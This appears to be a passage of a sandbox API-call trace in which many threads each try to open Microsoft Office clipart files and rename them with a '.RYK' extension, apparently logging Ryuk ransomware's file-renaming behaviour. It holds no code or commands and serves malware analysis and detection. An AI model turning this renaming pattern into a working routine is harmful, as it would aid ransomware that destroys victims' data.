	[0198.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.375] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.375] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1559
	os_tid = 0x1e44

	[0198.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF", dwFileAttributes=0x80) returned 0
	[0198.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.392] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1560
	os_tid = 0x1e48

	[0198.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF", dwFileAttributes=0x80) returned 0
	[0198.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.394] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1561
	os_tid = 0x1e4c

	[0198.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF", dwFileAttributes=0x80) returned 0
	[0198.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.395] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.395] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1562
	os_tid = 0x1e50

	[0198.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF", dwFileAttributes=0x80) returned 0
	[0198.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.386] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.386] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1563
	os_tid = 0x1e54

	[0198.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF", dwFileAttributes=0x80) returned 0
	[0198.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.389] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.389] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1564
	os_tid = 0x1e58

	[0198.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF", dwFileAttributes=0x80) returned 0
	[0198.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.391] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.391] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1565
	os_tid = 0x1e5c

	[0198.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF", dwFileAttributes=0x80) returned 0
	[0198.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.662] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1566
	os_tid = 0x1e64

	[0198.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF", dwFileAttributes=0x80) returned 0
	[0198.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.664] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1567
	os_tid = 0x1e68

	[0198.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF", dwFileAttributes=0x80) returned 0
	[0198.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.666] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1568
	os_tid = 0x1e6c

	[0198.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF", dwFileAttributes=0x80) returned 0
	[0198.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.679] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.679] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1569
	os_tid = 0x1e70

	[0198.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF", dwFileAttributes=0x80) returned 0
	[0198.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.671] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.671] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1570
	os_tid = 0x1e74

	[0198.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF", dwFileAttributes=0x80) returned 0
	[0198.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.672] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1571
	os_tid = 0x1e78

	[0198.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF", dwFileAttributes=0x80) returned 0
	[0198.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.674] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.674] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1572
	os_tid = 0x1e7c

	[0198.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF", dwFileAttributes=0x80) returned 0
	[0198.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.687] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.687] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1573
	os_tid = 0x1e80

	[0198.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF", dwFileAttributes=0x80) returned 0
	[0198.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.689] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1574
	os_tid = 0x1e84

	[0198.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF", dwFileAttributes=0x80) returned 0
	[0198.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.691] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1575
	os_tid = 0x1e88

	[0198.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF", dwFileAttributes=0x80) returned 0
	[0198.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.693] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.694] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1576
	os_tid = 0x1e8c

	[0198.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF", dwFileAttributes=0x80) returned 0
	[0198.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.958] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.959] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1577
	os_tid = 0x1e90

	[0198.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF", dwFileAttributes=0x80) returned 0
	[0198.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.960] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.960] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1578
	os_tid = 0x1e94

	[0198.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF", dwFileAttributes=0x80) returned 0
	[0198.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.963] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.963] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1579
	os_tid = 0x1e98

	[0198.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF", dwFileAttributes=0x80) returned 0
	[0198.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.964] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.964] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1580
	os_tid = 0x1e9c

	[0198.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF", dwFileAttributes=0x80) returned 0
	[0198.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.966] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.966] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1581
	os_tid = 0x1ea0

	[0198.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF", dwFileAttributes=0x80) returned 0
	[0198.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.976] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.976] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1582
	os_tid = 0x1ea4

	[0198.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF", dwFileAttributes=0x80) returned 0
	[0198.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.977] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.978] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1583
	os_tid = 0x1ea8

	[0198.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID", dwFileAttributes=0x80) returned 0
	[0198.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.971] CloseHandle (hObject=0xffffffffffffffff) returned 0
